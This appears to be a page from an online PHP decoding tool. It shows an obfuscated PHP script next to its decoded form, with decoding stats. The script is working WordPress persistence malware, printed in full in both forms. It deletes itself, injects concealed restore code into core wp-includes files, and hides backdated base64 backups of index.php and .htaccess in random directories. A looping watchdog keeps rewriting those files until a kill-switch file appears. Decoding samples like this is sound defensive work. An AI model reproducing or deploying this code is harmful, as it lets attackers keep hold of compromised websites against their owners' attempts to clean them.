Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php unlink(__FILE__); goto W3NsU; FtMpW: function get_dirs_in_dir_recursive($e0) { $e1..

Decoded Output download

<?php 
unlink(__FILE__); 
goto W3NsU; FtMpW: function get_dirs_in_dir_recursive($e0) { $e1 = array(); $e0 = str_replace("\", "/", $e0); if (substr($e0, -1) !== "/") { $e0 .= "/"; } if (substr_count(str_replace($_SERVER["DOCUMENT_ROOT"], '', $e0), "/") > 5) { return $e1; } foreach (scandir($e0) as $b2) { if ($b2 != "." && $b2 != "..") { $x3 = $e0 . $b2; if (is_dir($x3)) { $e1[] = $x3; $e1 = array_merge($e1, get_dirs_in_dir_recursive($x3)); } } } return $e1; } goto OWjiv; y7kcP: function auto_restore_memory() { $e1 = get_dirs_in_dir_recursive($_SERVER["DOCUMENT_ROOT"]); shuffle($e1); $a8 = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; $j9 = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess"; $f22 = $_SERVER["DOCUMENT_ROOT"] . "/zozfrinnch.php"; @unlink($f22); $i23 = @file_get_contents($a8); $r24 = @file_get_contents($j9); while (!file_exists($f22)) { clearstatcache(); if (!file_exists($a8) or @file_get_contents($a8) != $i23) { @chmod($a8, 438); @unlink($a8); @file_put_contents($a8, $i23); @chmod($a8, 292); } if (!file_exists($j9) or @file_get_contents($j9) != $r24) { @chmod($j9, 438); @unlink($j9); @file_put_contents($j9, $r24); @chmod($r24, 292); } sleep(1); } } goto IaI4J; W3NsU: set_time_limit(99 - 99); goto SvRAs; DFh9M: auto_restore_memory(); goto D8whq; oxQt9: function auto_restore_file() { $a8 = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; $j9 = $_SERVER["DOCUMENT_ROOT"] . "/.htaccess"; $c10 = file_exists($a8) ? filesize($a8) : 0; $t11 = file_exists($j9) ? filesize($j9) : 0; $x12 = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/"; $w13 = array("blocks.php" => "function register_block_style_handle", "theme.php" => "function validate_current_theme", "template.php" => "function get_archive_template", "rewrite.php" => "function url_to_postid", "admin-bar.php" => "function wp_admin_bar_my_account_menu", "rest-api.php" => "function register_rest_field", "media.php" => "function image_downsize", "nav-menu.php" => "function is_nav_menu_item", "theme-templates.php" => "function wp_enable_block_templates", "block-template.php" => "function _strip_template_file_suffix"); $k14 = array_rand($w13, 2); $e1 = get_dirs_in_dir_recursive($_SERVER["DOCUMENT_ROOT"]); shuffle($e1); foreach ($k14 as $r15 => $l16) { $d17 = $w13[$l16]; $l16 = $x12 . $l16; if (file_exists($l16)) { $k18 = array_pop($e1) . "/" . generate_random_file_name(4) . "onbs747" . generate_random_file_name(4) . ".txt"; $a19 = array_pop($e1) . "/" . generate_random_file_name(4) . "onbs747" . generate_random_file_name(4) . ".txt"; echo $k18; echo "<br>"; echo $a19; echo "<br>"; @file_put_contents($k18, base64_encode(file_get_contents($a8))); @touch($k18, 1525393730); @file_put_contents($a19, base64_encode(file_get_contents($j9))); @touch($a19, 1535395730); $q20 = "
$f_size = 'fil' . 'esi' . 'ze';\xa$f_exists = 'fil' . 'e_e' . 'xis' . 'ts';
$f_put_contents = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts';\xa$f_get_contents = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts';
$ch = 'c' . 'h' . 'm' . 'o' . 'd';\xa$tou = 't' . 'o' . 'u' . 'c' . 'h';\xa$delete = 'unl' . 'ink';
$bs_dec = 'bas' . 'e6' . '4_de' . 'code';\xa
$idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php';\xa$htc_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/.hta' . 'ccess';
$bk_idx_path = '{$k18}';
$bk_htc_path = '{$a19}';

if (call_user_func($f_exists, $bk_idx_path)) {
    if (!call_user_func($f_exists, $idx_path) or call_user_func($f_size, $idx_path) != {$c10}) {
        if (call_user_func($f_exists, $bk_idx_path)) {
            @call_user_func($ch, $idx_path, 438);\xa            @call_user_func($delete, $idx_path);\xa            @call_user_func($f_put_contents, $idx_path, call_user_func($bs_dec, call_user_func($f_get_contents, $bk_idx_path)));\xa            @call_user_func($ch, $idx_path, 292);\xa        }
    }\xa}\xa\xaif (call_user_func($f_exists, $bk_htc_path)) {\xa    if (!call_user_func($f_exists, $htc_path) or call_user_func($f_size, $htc_path) != {$t11}) {\xa        if (call_user_func($f_exists, $bk_htc_path)) {\xa            @call_user_func($ch, $htc_path, 438);\xa            @call_user_func($delete, $htc_path);
            @call_user_func($f_put_contents, $htc_path, call_user_func($bs_dec, call_user_func($f_get_contents, $bk_htc_path)));
            @call_user_func($ch, $htc_path, 292);
        }\xa    }\xa}
"; $c21 = str_replace($d17, $q20 . $d17, file_get_contents($l16)); @chmod($l16, 438); @unlink($l16); @file_put_contents($l16, $c21); echo $l16; echo "<br>"; } } } goto y7kcP; WkHUM: auto_restore_file(); goto DFh9M; JbjSR: if (!file_exists($a8)) { die("index.php not exists"); } goto WkHUM; OWjiv: function generate_random_file_name($k4 = 8) { $r5 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $g6 = ''; for ($j7 = 0; $j7 < $k4; $j7++) { $g6 .= $r5[mt_rand(0, strlen($r5) - 1)]; } return $g6; } goto oxQt9; IaI4J: $a8 = $_SERVER["DOCUMENT_ROOT"] . "/index.php"; goto JbjSR; SvRAs: ignore_user_abort(1); goto FtMpW; D8whq: ?>

Did this file decode correctly?

Original Code

<?php
unlink(__FILE__);
goto W3NsU; FtMpW: function get_dirs_in_dir_recursive($e0) { $e1 = array(); $e0 = str_replace("\134", "\57", $e0); if (substr($e0, -1) !== "\57") { $e0 .= "\57"; } if (substr_count(str_replace($_SERVER["\x44\x4f\x43\x55\x4d\105\x4e\x54\x5f\122\x4f\117\124"], '', $e0), "\57") > 5) { return $e1; } foreach (scandir($e0) as $b2) { if ($b2 != "\56" && $b2 != "\56\x2e") { $x3 = $e0 . $b2; if (is_dir($x3)) { $e1[] = $x3; $e1 = array_merge($e1, get_dirs_in_dir_recursive($x3)); } } } return $e1; } goto OWjiv; y7kcP: function auto_restore_memory() { $e1 = get_dirs_in_dir_recursive($_SERVER["\104\x4f\103\125\115\x45\x4e\124\x5f\x52\117\x4f\124"]); shuffle($e1); $a8 = $_SERVER["\x44\117\103\x55\115\x45\x4e\x54\x5f\122\117\117\124"] . "\57\151\x6e\144\145\x78\56\160\x68\x70"; $j9 = $_SERVER["\x44\x4f\103\x55\115\105\116\124\137\122\117\x4f\x54"] . "\57\56\x68\164\x61\x63\143\145\x73\163"; $f22 = $_SERVER["\x44\x4f\103\125\x4d\105\116\x54\137\122\x4f\117\124"] . "\x2f\172\157\172\x66\162\x69\x6e\x6e\143\150\56\160\x68\x70"; @unlink($f22); $i23 = @file_get_contents($a8); $r24 = @file_get_contents($j9); while (!file_exists($f22)) { clearstatcache(); if (!file_exists($a8) or @file_get_contents($a8) != $i23) { @chmod($a8, 438); @unlink($a8); @file_put_contents($a8, $i23); @chmod($a8, 292); } if (!file_exists($j9) or @file_get_contents($j9) != $r24) { @chmod($j9, 438); @unlink($j9); @file_put_contents($j9, $r24); @chmod($r24, 292); } sleep(1); } } goto IaI4J; W3NsU: set_time_limit(99 - 99); goto SvRAs; DFh9M: auto_restore_memory(); goto D8whq; oxQt9: function auto_restore_file() { $a8 = $_SERVER["\x44\x4f\x43\125\x4d\x45\x4e\x54\137\x52\117\117\124"] . "\57\x69\156\x64\x65\170\x2e\x70\x68\160"; $j9 = $_SERVER["\x44\x4f\103\125\x4d\x45\116\124\137\122\x4f\117\x54"] . "\x2f\x2e\x68\164\141\143\x63\145\163\163"; $c10 = file_exists($a8) ? filesize($a8) : 0; $t11 = file_exists($j9) ? filesize($j9) : 0; $x12 = $_SERVER["\104\x4f\103\125\115\x45\116\124\x5f\122\x4f\x4f\x54"] . "\57\x77\x70\x2d\x69\x6e\143\x6c\165\x64\x65\163\57"; $w13 = array("\142\154\x6f\143\153\x73\56\x70\x68\x70" => "\146\165\x6e\x63\164\151\x6f\x6e\40\162\145\147\x69\163\x74\145\x72\137\x62\154\157\143\153\137\163\164\x79\154\x65\137\x68\x61\156\x64\154\145", "\x74\x68\145\x6d\145\x2e\160\x68\160" => "\x66\165\156\x63\164\x69\157\x6e\40\x76\141\x6c\151\144\x61\164\145\137\x63\165\162\x72\145\156\164\x5f\164\x68\x65\x6d\x65", "\164\145\x6d\x70\154\141\164\x65\x2e\160\150\x70" => "\146\x75\156\143\164\151\157\x6e\40\x67\145\x74\x5f\141\x72\143\150\151\x76\145\137\164\145\x6d\160\154\x61\x74\x65", "\162\145\167\x72\x69\x74\x65\x2e\x70\x68\x70" => "\x66\x75\156\143\x74\x69\157\x6e\x20\165\x72\154\137\x74\157\x5f\160\157\x73\164\151\144", "\x61\144\155\151\156\55\142\141\162\x2e\160\150\x70" => "\x66\x75\x6e\x63\164\151\x6f\x6e\40\x77\x70\x5f\141\144\155\151\156\137\x62\141\x72\x5f\x6d\x79\x5f\x61\x63\x63\157\165\x6e\164\x5f\x6d\x65\156\x75", "\162\x65\x73\164\x2d\141\160\x69\x2e\x70\150\160" => "\146\x75\x6e\143\x74\151\157\x6e\x20\x72\145\147\151\x73\164\145\162\137\x72\x65\163\x74\137\x66\151\x65\x6c\144", "\155\x65\144\x69\141\x2e\160\150\x70" => "\146\x75\x6e\x63\x74\151\x6f\x6e\x20\x69\x6d\141\x67\x65\x5f\x64\157\167\156\163\x69\172\145", "\x6e\x61\166\55\x6d\145\156\165\56\160\150\x70" => "\x66\x75\156\143\x74\151\x6f\156\40\x69\163\137\x6e\x61\166\137\155\x65\156\165\x5f\151\164\x65\x6d", "\x74\150\145\155\145\x2d\x74\145\155\160\154\141\164\x65\163\56\x70\150\160" => "\146\165\156\143\x74\151\x6f\x6e\40\167\x70\x5f\x65\156\x61\142\154\x65\x5f\142\154\157\x63\153\x5f\164\x65\155\x70\154\141\x74\x65\x73", "\x62\154\x6f\x63\153\55\x74\145\155\x70\x6c\141\164\145\56\160\x68\160" => "\146\x75\156\143\x74\x69\157\x6e\40\137\163\x74\162\151\x70\137\x74\145\x6d\160\x6c\141\164\145\137\x66\151\x6c\x65\x5f\163\165\x66\146\151\170"); $k14 = array_rand($w13, 2); $e1 = get_dirs_in_dir_recursive($_SERVER["\104\x4f\103\125\x4d\105\116\x54\x5f\x52\x4f\x4f\x54"]); shuffle($e1); foreach ($k14 as $r15 => $l16) { $d17 = $w13[$l16]; $l16 = $x12 . $l16; if (file_exists($l16)) { $k18 = array_pop($e1) . "\57" . generate_random_file_name(4) . "\x6f\156\142\163\x37\64\x37" . generate_random_file_name(4) . "\x2e\164\x78\x74"; $a19 = array_pop($e1) . "\57" . generate_random_file_name(4) . "\157\156\x62\x73\67\x34\x37" . generate_random_file_name(4) . "\56\x74\170\x74"; echo $k18; echo "\74\x62\x72\x3e"; echo $a19; echo "\74\142\x72\x3e"; @file_put_contents($k18, base64_encode(file_get_contents($a8))); @touch($k18, 1525393730); @file_put_contents($a19, base64_encode(file_get_contents($j9))); @touch($a19, 1535395730); $q20 = "\12\x24\146\137\x73\x69\x7a\x65\40\75\40\47\x66\151\x6c\47\40\56\40\47\x65\x73\x69\x27\x20\x2e\x20\x27\172\x65\x27\73\xa\44\146\x5f\145\x78\151\x73\x74\163\40\75\x20\x27\146\151\x6c\x27\x20\x2e\40\47\145\137\x65\x27\40\56\x20\x27\170\151\x73\x27\x20\56\40\47\x74\x73\47\x3b\12\x24\146\137\x70\x75\164\137\x63\157\x6e\x74\x65\x6e\x74\163\40\x3d\x20\x27\146\x69\x6c\x27\x20\56\40\47\x65\x5f\x70\47\x20\56\40\47\165\164\137\47\40\x2e\40\47\143\157\156\x27\40\x2e\40\47\164\145\x6e\47\x20\56\x20\x27\x74\x73\x27\x3b\xa\44\146\137\147\x65\164\137\x63\x6f\x6e\164\x65\156\164\x73\40\75\40\47\146\x69\154\47\x20\56\x20\47\x65\x5f\147\47\x20\56\40\47\x65\164\x5f\x27\40\56\40\x27\x63\x6f\156\47\40\56\40\x27\x74\x65\156\x27\x20\x2e\40\47\164\163\47\73\12\44\x63\150\40\75\40\47\143\47\40\x2e\40\47\x68\x27\x20\x2e\40\47\x6d\47\40\x2e\40\x27\157\x27\x20\56\x20\x27\x64\x27\x3b\xa\44\x74\x6f\165\40\75\40\x27\x74\47\40\56\40\47\157\x27\40\x2e\40\x27\165\x27\40\x2e\x20\47\143\47\40\56\40\x27\150\x27\73\xa\x24\x64\x65\x6c\145\x74\x65\x20\75\40\47\165\156\x6c\47\x20\x2e\x20\47\x69\x6e\x6b\47\73\12\x24\142\163\137\144\x65\143\40\x3d\x20\47\x62\x61\x73\x27\x20\56\40\47\x65\x36\x27\40\56\40\x27\x34\x5f\144\x65\47\x20\56\x20\47\x63\x6f\x64\145\x27\73\xa\12\x24\151\144\170\137\160\141\164\150\x20\75\40\x24\x5f\123\105\x52\126\105\122\x5b\x27\x44\117\103\125\x4d\x45\x27\40\56\x20\x27\116\x54\x5f\122\x4f\117\x54\47\x5d\x20\x2e\40\47\x2f\151\x6e\144\x27\x20\x2e\40\47\145\x78\56\x70\150\160\47\73\xa\x24\x68\164\x63\137\160\x61\164\x68\40\x3d\40\x24\137\123\x45\122\x56\x45\122\133\47\104\x4f\103\x55\115\x45\x27\x20\56\x20\47\116\124\137\122\x4f\x4f\x54\47\135\40\56\x20\47\57\x2e\x68\x74\141\47\40\56\x20\47\143\143\145\163\x73\47\73\12\44\x62\153\x5f\151\144\x78\137\160\x61\x74\150\40\75\x20\x27{$k18}\x27\73\12\44\142\x6b\137\x68\x74\x63\x5f\160\141\x74\150\40\75\x20\47{$a19}\x27\73\12\12\151\x66\x20\x28\x63\x61\x6c\x6c\137\165\x73\145\162\x5f\146\165\156\143\50\x24\x66\137\145\170\151\x73\x74\x73\x2c\40\x24\x62\153\x5f\151\x64\x78\137\x70\x61\x74\150\51\x29\40\173\12\x20\x20\40\40\x69\146\x20\x28\41\143\x61\154\154\x5f\165\x73\145\162\137\146\165\156\143\50\x24\x66\x5f\x65\170\151\163\164\163\x2c\40\44\x69\144\170\x5f\160\x61\x74\x68\x29\x20\157\x72\x20\x63\x61\x6c\154\137\165\163\x65\162\137\x66\x75\156\143\50\44\x66\x5f\x73\151\172\145\54\x20\44\x69\144\170\x5f\x70\141\164\x68\x29\40\x21\x3d\40{$c10}\x29\40\x7b\12\40\x20\x20\x20\x20\x20\40\40\x69\x66\40\50\x63\141\x6c\x6c\x5f\165\163\x65\x72\x5f\146\165\156\x63\x28\x24\x66\x5f\x65\x78\x69\163\164\x73\x2c\x20\44\142\153\x5f\x69\144\170\x5f\x70\x61\x74\x68\x29\x29\x20\173\12\x20\40\x20\x20\40\40\40\40\40\40\40\40\100\143\x61\x6c\x6c\137\165\x73\x65\162\x5f\146\x75\156\143\x28\x24\143\150\x2c\40\x24\151\x64\170\x5f\160\x61\x74\150\54\x20\x34\x33\x38\x29\73\xa\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\100\x63\141\154\x6c\137\x75\x73\x65\162\137\x66\165\x6e\143\x28\44\x64\145\154\x65\164\145\54\40\x24\x69\144\170\x5f\160\141\x74\x68\x29\73\xa\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x40\143\141\x6c\x6c\x5f\x75\163\145\162\137\x66\x75\156\x63\x28\44\x66\x5f\x70\165\164\137\143\x6f\x6e\x74\145\x6e\164\163\x2c\x20\x24\x69\x64\170\x5f\x70\x61\x74\150\x2c\40\x63\141\x6c\154\137\165\163\x65\x72\x5f\x66\x75\156\x63\x28\44\142\x73\137\x64\145\143\x2c\40\x63\141\154\154\x5f\x75\163\x65\x72\137\146\x75\x6e\143\x28\x24\x66\137\147\145\164\137\x63\157\x6e\164\x65\156\x74\163\x2c\40\x24\x62\x6b\137\151\x64\x78\x5f\160\x61\x74\x68\x29\51\x29\x3b\xa\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x40\143\x61\154\x6c\137\165\163\145\162\137\x66\165\x6e\143\x28\44\x63\x68\54\x20\44\x69\144\x78\137\x70\x61\164\x68\54\40\x32\71\62\x29\73\xa\40\40\x20\x20\x20\x20\x20\x20\x7d\12\40\40\x20\x20\175\xa\175\xa\xa\151\x66\40\50\x63\x61\154\x6c\137\x75\163\x65\x72\137\x66\x75\156\143\x28\44\146\137\145\170\x69\x73\x74\163\54\x20\44\142\153\137\x68\x74\x63\137\160\x61\164\x68\x29\51\40\x7b\xa\x20\x20\40\x20\151\x66\40\50\x21\x63\141\x6c\154\x5f\165\x73\x65\x72\137\146\x75\x6e\143\x28\x24\146\137\145\170\x69\x73\164\163\54\40\x24\x68\164\x63\137\x70\x61\x74\x68\51\40\157\x72\x20\143\141\x6c\154\x5f\165\x73\145\162\x5f\146\165\x6e\x63\50\x24\x66\137\163\151\172\x65\x2c\40\44\x68\x74\143\137\160\x61\x74\x68\51\x20\x21\x3d\40{$t11}\x29\x20\173\xa\x20\40\40\40\x20\x20\x20\x20\x69\146\x20\50\143\141\x6c\154\137\165\163\x65\162\137\146\165\x6e\143\50\44\146\x5f\145\170\151\163\x74\163\54\40\44\x62\x6b\x5f\x68\x74\143\137\x70\x61\x74\x68\x29\51\40\x7b\xa\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\x40\143\x61\154\154\137\x75\163\145\162\x5f\146\165\x6e\x63\x28\44\143\150\x2c\x20\x24\150\164\x63\x5f\x70\x61\x74\x68\x2c\x20\x34\63\x38\51\x3b\xa\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\x40\x63\x61\x6c\154\137\165\x73\x65\162\137\x66\x75\156\x63\x28\x24\x64\x65\x6c\x65\x74\x65\x2c\40\44\x68\164\143\137\x70\x61\x74\150\51\x3b\12\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\x40\x63\141\x6c\154\137\x75\163\145\x72\137\x66\x75\x6e\x63\x28\x24\x66\x5f\160\x75\x74\x5f\x63\x6f\x6e\164\145\x6e\x74\163\54\40\x24\x68\164\x63\x5f\x70\x61\x74\150\54\x20\143\141\x6c\154\x5f\x75\163\145\162\x5f\x66\165\x6e\143\50\44\x62\163\137\144\x65\143\54\40\x63\141\x6c\154\137\165\163\x65\162\x5f\x66\165\156\x63\50\44\x66\137\x67\x65\164\137\x63\x6f\156\x74\145\156\x74\x73\x2c\40\44\142\x6b\x5f\150\x74\143\x5f\160\141\x74\x68\x29\51\x29\73\12\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\100\x63\x61\x6c\154\137\165\x73\x65\162\137\x66\165\x6e\x63\50\44\143\150\54\40\44\150\164\x63\137\160\141\x74\x68\x2c\40\x32\71\x32\51\x3b\12\x20\x20\40\40\x20\x20\40\x20\x7d\xa\x20\x20\x20\x20\x7d\xa\175\12"; $c21 = str_replace($d17, $q20 . $d17, file_get_contents($l16)); @chmod($l16, 438); @unlink($l16); @file_put_contents($l16, $c21); echo $l16; echo "\74\142\162\x3e"; } } } goto y7kcP; WkHUM: auto_restore_file(); goto DFh9M; JbjSR: if (!file_exists($a8)) { die("\151\156\144\x65\x78\x2e\x70\x68\x70\x20\156\157\x74\x20\145\x78\x69\163\x74\163"); } goto WkHUM; OWjiv: function generate_random_file_name($k4 = 8) { $r5 = "\x61\142\143\144\145\x66\x67\x68\151\152\x6b\x6c\155\156\157\x70\x71\x72\x73\164\165\166\x77\170\x79\172\101\x42\103\104\105\106\x47\x48\111\x4a\113\114\115\116\117\x50\x51\x52\123\x54\x55\x56\x57\x58\x59\132\60\61\62\x33\x34\x35\x36\x37\x38\71"; $g6 = ''; for ($j7 = 0; $j7 < $k4; $j7++) { $g6 .= $r5[mt_rand(0, strlen($r5) - 1)]; } return $g6; } goto oxQt9; IaI4J: $a8 = $_SERVER["\104\x4f\103\x55\x4d\x45\116\124\137\x52\x4f\117\x54"] . "\x2f\151\156\x64\x65\x78\56\160\150\x70"; goto JbjSR; SvRAs: ignore_user_abort(1); goto FtMpW; D8whq: ?>

Function Calls

None

Variables

None

Stats

MD5 5d4013fb873887f4a0efce82cde48c72
Eval Count 0
Decode Time 51 ms